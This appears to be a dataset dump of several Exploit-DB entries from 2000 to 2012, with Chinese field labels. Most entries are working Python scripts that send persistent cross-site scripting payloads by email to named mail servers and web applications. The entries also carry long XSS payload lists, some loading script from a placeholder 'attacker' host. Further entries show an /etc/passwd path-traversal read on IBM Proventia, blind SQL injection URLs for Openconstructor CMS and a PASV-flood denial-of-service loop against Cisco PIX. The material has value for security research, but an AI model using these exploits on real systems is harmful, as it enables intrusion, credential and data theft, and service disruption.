QLWD/code_shield huggingface dataset:
标题: WordPress Plugin ThreeWP Email Reflector 1.13 - Persistent Cross-Site Scripting EDB-ID: 20365 CVE: 2012-2572 类型: WEBAPPS 平台: PHP 发布日期: 2012-08-08 漏洞利用脚本: #!/usr/bin/python

'''

Author: loneferret of Offensive Security
Product: ThreeWP Email Reflector
Version: 1.13
Plugin Site: http://mindreantre.se/
Software Download: http://wordpress.org/extend/plugins/threewp-email-reflector/installation/

Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update from CERT: Coordinated with vendor
08 Aug 2012: Public Disclosure

Installed On: Ubuntu Server LAMP 8.04
Wordpress: 3.3.1
Client Test OS: MAC OS Lion
Browser Used: Firefox 12

Injection Point: Subject
Injection Payload(s):
1: ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}
2: <SCRIPT>alert('XSS')</SCRIPT>
3: <SCRIPT SRC=http://attacker/xss.js></SCRIPT>
4: <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
5: <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
6: <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
7: <SCRIPT SRC="http://attacker/xss.jpg"></SCRIPT>
8: </TITLE><SCRIPT>alert("XSS");</SCRIPT>
9: <SCRIPT/XSS SRC="http://attacker/xss.js"></SCRIPT>
10: <SCRIPT SRC=//attacker/.j>
11: <<SCRIPT>alert("XSS");//<</SCRIPT>
12: <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
13: <SCRIPT a=">" SRC="http://attacker/xss.js"></SCRIPT>
14: <SCRIPT ="blah" SRC="http://attacker/xss.js"></SCRIPT>
15: <SCRIPT a="blah" '' SRC="http://attacker/xss.js"></SCRIPT>
16: <SCRIPT "a='>'" SRC="http://attacker/xss.js"></SCRIPT>
17: <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://attacker/xss.js"></SCRIPT>
18: <SCRIPT a=">'>" SRC="http://attacker/xss.js"></SCRIPT>

'''


#!/usr/bin/python
import smtplib, urllib2
 
payload = """<SCRIPT/XSS SRC="http://attacker/xss.js"></SCRIPT>"""
 
def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = "From: hacker@offsec.local\n"
        msg += "To: victim@victim.local\n"
        msg += 'Date: Today\r\n'
        msg += "Subject: XSS" + payload + "\n"
        msg += "Content-type: text/html\n\n"
        msg += "XSS.\r\n\r\n"
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print "[-] Failed to send email:"
                print "[*] " + str(e)
        server.quit()
 
username = "hacker@offsec.local"
password = "123456"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv  = "172.16.84.171"
 
print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password) URL: https://www.exploit-db.com/exploits/20365
标题: IBM Proventia Network Mail Security System 2.5 - POST File Read EDB-ID: 20368 CVE: 2012-2955 2012-2202 类型: WEBAPPS 平台: WINDOWS 发布日期: 2012-08-08 漏洞利用脚本: #!/usr/bin/python

'''

Author: muts of Offensive Security
Product: IBM ISS Proventia Mail Security
Version: 2.5
Vendor Site: http://www.ibm.com/us/en/
Product Page: http://www-935.ibm.com/services/us/en/it-services/proventia-network-mail-security-system.html

Timeline:

04 Jun 2012: Vulnerability reported to CERT
08 Jun 2012: Response received from CERT with disclosure date set to 20 Jul 2012
19 Jul 2012: Reflected XSS Fixed: http://www-01.ibm.com/support/docview.wss?uid=swg21605626
19 Jul 2012: Arbitrary File Read Fixed: http://www-01.ibm.com/support/docview.wss?uid=swg21605630
08 Aug 2012: Public Disclosure

The application is vulnerable to a post-authentication reflected XSS:
https://server/pvm_eventlog_backend/logs_eventDetails.php?recordNumber=42&alertID=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert%28123%29%3C/script%3E&MaxEvents=0]]

In addition, there is also a post-authentcation arbitary file-reading vulnerability. The proof of concept code below can be used to replicate the vulnerability.

'''

# IBM Proventia Network Mail Security System POST file read

import urllib
import urllib2
import httplib

username = "admin"
password = "admin"

url = "https://172.16.254.180/javatester_init.php"

password_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
password_mgr.add_password(None, "https://172.16.254.180/", username, password)
handler = urllib2.HTTPBasicAuthHandler(password_mgr)
opener = urllib2.build_opener(handler)
data = urllib.urlencode({'template' : '../../../../../etc/passwd','async' : '3','access' : 'direct'})
req = urllib2.Request(url, data)
f = opener.open(req)
print f.read() URL: https://www.exploit-db.com/exploits/20368
标题: Surgemail 6.0a4 - Persistent Cross-Site Scripting EDB-ID: 20363 CVE: 2012-2575 类型: WEBAPPS 平台: WINDOWS 发布日期: 2012-08-08 漏洞利用脚本: #!/usr/bin/python

'''

Author: loneferret of Offensive Security
Product: SurgeMail
Version: 6.0a4
Vendor Site: http://www.netwinsite.com
Software Download: http://netwinsite.com/download.htm

Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update from CERT: Coordinated details with vendor
08 Aug 2012: Public Disclosure

Installed On: Windows Server 2003 SP2
Client Test OS: Window XP Pro SP3 (x86)
Browser Used: Internet Explorer 8
Client Test OS: Window 7 Pro SP1 (x86)
Browser Used: Internet Explorer 9

Injection Point: Body
Injection Payload(s):
1: <IFRAME SRC="javascript:alert('XSS');"></IFRAME>

'''


import smtplib, urllib2
 
payload = """<IFRAME SRC="javascript:alert('XSS');"></IFRAME>"""
 
def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = "From: hacker@offsec.local\n"
        msg += "To: victim@victim.local\n"
        msg += 'Date: Today\r\n'
        msg += "Subject: XSS\n"
        msg += "Content-type: text/html\n\n"
        msg += "XSS" + payload + "\r\n\r\n"
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print "[-] Failed to send email:"
                print "[*] " + str(e)
        server.quit()
 
username = "hacker@offsec.local"
password = "123456"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv  = "172.16.84.171"
 
print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password) URL: https://www.exploit-db.com/exploits/20363
标题: OTRS Open Technology Real Services 3.1.4 - Persistent Cross-Site Scripting EDB-ID: 20359 CVE: 2012-2582 类型: WEBAPPS 平台: WINDOWS 发布日期: 2012-08-08 漏洞利用脚本: #!/usr/bin/python

'''

Author: loneferret of Offensive Security
Product: OTRS Open Technology Real Services
Version: 3.1.4 (Windows)
Vendor Site: http://www.otrs.com/en/

Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update from CERT: No response other than auto-reply from vendor
08 Aug 2012: Public Disclosure
22 Aug 2012: Update from CERT: vulnerability patched
     http://www.kb.cert.org/vuls/id/582879
     http://www.otrs.com/en/open-source/community-news/security-advisories/security-advisory-2012-01/

Installed On: Windows Server 2003 SP2
Client Test OS: Window 7 Pro SP1 (x86)
Browser Used: Internet Explorer 9

Injection Point: Body
Injection Payload(s):
1: <DIV STYLE="width: expression(alert('XSS'));">
2: exp/*<XSS STYLE='no\xss:noxss("*//*");
xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'>
3: <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
4: <XSS STYLE="xss:expression(alert('XSS'))">
5: <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-

'''

import smtplib, urllib2
 
payload = """<DIV STYLE="width: expression(alert('XSS'));">"""
 
def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = "From: hacker@offsec.local\n"
        msg += "To: victim@victim.local\n"
        msg += 'Date: Today\r\n'
        msg += "Subject: Offensive Security\n"
        msg += "Content-type: text/html\n\n"
        msg += "XSS" + payload + "\r\n\r\n"
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print "[-] Failed to send email:"
                print "[*] " + str(e)
        server.quit()
 
username = "hacker@offsec.local"
password = "123456"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv  = "172.16.84.171"
 
print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password) URL: https://www.exploit-db.com/exploits/20359
标题: Cisco PIX Firewall 5.2 - PASV Mode FTP Internal Address Disclosure EDB-ID: 20369 CVE: 2000-1027 类型: REMOTE 平台: HARDWARE 发布日期: 2000-10-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/1877/info

The Cisco PIX is a popular firewall network device. 

It is possible to configure the PIX so that it hides the IP address of internal ftp servers from clients connecting to it. By sending a number of requests to enter passive ftp mode (PASV) during an ftp session, the IP address will eventually be disclosed. It is not known what exactly causes this condition.

This has been verified on versions 5.2(4) and 5.2(2) of the PIX firmware and probably affects other versions.


# sent by: Fabio Pietrosanti (naif) <naif@inet.it>
# try to dos pix using PASV bomb

echo "USER ftptest99"
sleep 2
echo PASS ftptest99
sleep 2
echo SYST
while true
       do

            echo PASV
            sleep 1
            echo PASV
            echo PASV
            sleep 1
            echo PASV
            echo PASV
            sleep 1
            echo PASV
           echo PASV
            sleep 1
done URL: https://www.exploit-db.com/exploits/20369
标题: Openconstructor CMS 3.12.0 - 'id' Multiple SQL Injections EDB-ID: 20347 CVE: 2012-3873 类型: WEBAPPS 平台: PHP 发布日期: 2012-08-08 漏洞利用脚本: ###Title###: 
Openconstructor CMS 3.12.0 'id' parameter multiple SQL injection vulnerabilities


###Affected Software###:
http://www.openconstructor.org/
http://code.google.com/p/openconstructor/downloads/list
http://esectorsolutions.com/about/whats-new/esector-news/detailed/?id=234


###Description###: 
Openconstructor (formerly known as eSector Solutions Web Constructor) is an open source web Content Management System written in PHP.
Multiple SQL injection vulnerabilities exist on the 'id' parameter, which is used across different sections of the application. 
Verson 3.12.0 is vulnerable, previous version may be affected, but they have not been tested.

###CVE###
CVE-2012-3873


###Impact###: 
Authenticated attackers can execute arbitrary SQL queries.

CVSS Base Score: 9.0 (AV:N/AC:L/Au:S/C:C/I:C/A:C)


###Credits###:
Lorenzo Cantoni 


###Details###:
The following lines of code are the cause of the issue:

  ds->get_record($_GET['id'])

get_record() perform a query on the database, without checking the user supplied data in the 'id' parameter. The following pages are vulnerable:

data/gallery/edit.php
data/guestbook/edit.php
data/file/edit.php
data/htmltext/edit.php
data/publication/edit.php
data/event/edit.php

'getimage/showimage.php' is also vulnerable, due to the following lines of code:

$res = $db->query(
                'SELECT id, name, filename, size, type, date'.
                ' FROM dsfile'.
                ' WHERE id='.$_GET['id']
    );


###Proof of Concept###:
An object (eg:gallery object, file object, guestbook object ...) must first be created or has to already exist in order to exploit the vulnerability.
For instance, if a guestbook object has been created, an attacker can open it in edit page and exploit a blind SQL injection as follows:

http://hostname/openconstructor/data/guestbook/edit.php?ds_id=1&id=4 AND 1=1 #returns a TRUE value for the query
http://hostname/openconstructor/data/guestbook/edit.php?ds_id=1&id=4 AND 1=1 #returns a FALSE value for the query

In my test environment, I have been able to confirm the possibility to execute queries with the following commands:

http://hostname/openconstructor/data/guestbook/edit.php?ds_id=10&id=4 AND (select @@version)='5.5.16-log' #returns a TRUE value for the query
http://hostname/openconstructor/data/guestbook/edit.php?ds_id=10&id=4 AND (select @@version)='5.5.16-foo' #returns a FALSE value for the query

On 'getimage/showimage.php', an image file must be first successfully uploaded. The exploitation is very similar:

http://hostname/openconstructor/getimage/showimage.php?id=1%20AND%20(select%20@@version)='5.5.16-foo' # returns a FALSE value for the query
http://hostname/openconstructor/getimage/showimage.php?id=1%20AND%20(select%20@@version)='5.5.16-log' # return a TRUE value for the query


###Disclosure###
[08/07/2012] Lead Developer contacted.
[22/07/2012] No response. Sent another mail.
[04/08/2012] Still no response. Public disclosure. URL: https://www.exploit-db.com/exploits/20347
标题: Axigen Mail Server 8.0.1 - Persistent Cross-Site Scripting EDB-ID: 20348 CVE: 2012-2592 类型: WEBAPPS 平台: WINDOWS 发布日期: 2012-08-08 漏洞利用脚本: #!/usr/bin/python

'''
Author: loneferret of Offensive Security
Product: Axigen Mail Server
Version: 8.0.1 (Windows/x86)
Vendor Site: http://www.axigen.com
Software Download Link: http://www.axigen.com/mail-server/download-axigen-mail-server-801-for-windows.html

Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update from CERT: No response from vendor
08 Aug 2012: Public Disclosure


Installed On: Windows Server 2003 SP2
Client Test OS: Window 7 Pro SP1 (x86)
Browser Used: Internet Explorer 9

Injection Point:  Body
Injection Payload(s):

1: <DIV STYLE="width: expression(alert('XSS'));">
2: <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
3: <XSS STYLE="xss:expression(alert('XSS'))">
4: <!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]--

'''


import smtplib, urllib2

payload = """<DIV STYLE="width: expression(alert('XSS'));">"""

def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = "From: hacker@offsec.local\n"
        msg += "To: victim@victim.local\n"
        msg += 'Date: Today\r\n'
        msg += "Subject: Offensive Security\n"
        msg += "Content-type: text/html\n\n"
        msg += "XSS" + payload + "\r\n\r\n"
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print "[-] Failed to send email:"
                print "[*] " + str(e)
        server.quit()

username = "hacker@offsec.local"
password = "123456"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv  = "172.16.84.171"

print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password) URL: https://www.exploit-db.com/exploits/20348
标题: Alt-N MDaemon free 12.5.4 - Persistent Cross-Site Scripting EDB-ID: 20357 CVE: 2012-2584 类型: WEBAPPS 平台: WINDOWS 发布日期: 2012-08-08 漏洞利用脚本: #!/usr/bin/python

'''

Author: loneferret of Offensive Security
Product: Alt-N MDaemon Free
Version: 12.5.4
Vendor Site: http://www.altn.com/
Software Download: http://www.altn.com/Downloads/

Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
18 Jul 2012: Vendor requests additional information from CERT. CERT advises vendor to contact the researcher.
08 Aug 2012: Public Disclosure

Installed On: Windows Server 2003 SP2
Client Test OS: Window XP Pro SP3 (x86)
Browser Used: Internet Explorer 8

Injection Point: Body
Injection Payload(s):
1: exp/*<XSS STYLE='no\xss:noxss("*//*");
xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'>
2: <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
3: <HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML>

'''

import smtplib, urllib2

payload = """<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">"""

def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = "From: hacker@offsec.local\n"
        msg += "To: victim@victim.local\n"
        msg += 'Date: Today\r\n'
        msg += "Subject: XSS\n"
        msg += "Content-type: text/html\n\n"
        msg += "XSS" + payload + "\r\n\r\n"
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print "[-] Failed to send email:"
                print "[*] " + str(e)
        server.quit()

username = "hacker@offsec.local"
password = "123456"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv  = "172.16.84.171"

print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password) URL: https://www.exploit-db.com/exploits/20357
标题: emailarchitect enterprise email server 10.0 - Persistent Cross-Site Scripting EDB-ID: 20349 CVE: 2012-2591 类型: WEBAPPS 平台: WINDOWS 发布日期: 2012-08-08 漏洞利用脚本: #!/usr/bin/python

'''
Author: loneferret of Offensive Security
Product: EmailArchitect Enterprise Email Server
Version: 10.0
Vendor Site: http://www.emailarchitect.net
Software Download Link: http://www.emailarchitect.net/webapp/download/easetup.exe

Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update from CERT: No response from vendor
08 Aug 2012: Public Disclosure

Installed On: Windows Server 2003 SP2
Client Test OS: Window 7 Pro SP1 (x86), OS: MAC OS Lion
Browser Used: Internet Explorer 9, Firefox 12

Injection Point: From
Injection Payload(s):
1:  ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}

Injection Point: Date
Injection Payload(s):
1: ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}
2: <SCRIPT>alert('XSS')</SCRIPT>
3: <SCRIPT SRC=http://attacker/xss.js></SCRIPT>
4: <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
5: <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
6: </TITLE><SCRIPT>alert("XSS");</SCRIPT>
7: <SCRIPT/XSS SRC="http://attacker/xss.js"></SCRIPT>
8: <SCRIPT a=">'>" SRC="http://attacker/xss.js"></SCRIPT> 

'''


import smtplib, urllib2

payload = """<SCRIPT SRC=http://attacker/xss.js></SCRIPT>"""

def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = "From: hacker@offsec.local\n"
        msg += "To: victim@victim.local\n"
        msg += "Date: Today" + payload + "\r\n"
        msg += "Subject: XSS\n"
        msg += "Content-type: text/html\n\n"
        msg += "XSS.\r\n\r\n"
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print "[-] Failed to send email:"
                print "[*] " + str(e)
        server.quit()

username = "hacker@offsec.local"
password = "123456"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv  = "172.16.84.171"

print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password) URL: https://www.exploit-db.com/exploits/20349
标题: escon supportportal pro 3.0 - Persistent Cross-Site Scripting EDB-ID: 20350 CVE: 2012-2590 类型: WEBAPPS 平台: WINDOWS 发布日期: 2012-08-08 漏洞利用脚本: #!/usr/bin/python

'''

Author: loneferret of Offensive Security
Product: ESCON SupportPortal Pro
Version: 3.0
Vendor Site: http://www.e-supportportal.com
Software Download: http://www.e-supportportal.com/download.html


Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update from CERT: No response from vendor
08 Aug 2012: Public Disclosure


Installed On: Ubuntu 11.10 LAMP
Client Test OS: Window 7 Pro SP1 (x86)
Browser Used: Internet Explorer 9

Extra Note: HTML must be enabled in the configuration


Injection Point: Body
Injection Payload(s):
1: ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}
2: <SCRIPT>alert('XSS')</SCRIPT>
3: <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
4: <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
5: <HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML>
6: <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
7: <!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
8: </TITLE><SCRIPT>alert("XSS");</SCRIPT>
9: <SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
10: <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
11: <<SCRIPT>alert("XSS");//<</SCRIPT>
12: <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://attacker/xss.js"></SCRIPT>

'''

import smtplib, urllib2

payload = """<SCRIPT>alert('XSS')</SCRIPT>"""

def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = "From: hacker@offsec.local\n"
        msg += "To: victim@victim.local\n"
        msg += 'Date: Today\r\n'
        msg += "Subject: XSS\n"
        msg += "Content-type: text/html\n\n"
        msg += "XSS" + payload + "\r\n\r\n"
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print "[-] Failed to send email:"
                print "[*] " + str(e)
        server.quit()

username = "hacker@offsec.local"
password = "123456"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv  = "172.16.84.171"

print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password) URL: https://www.exploit-db.com/exploits/20350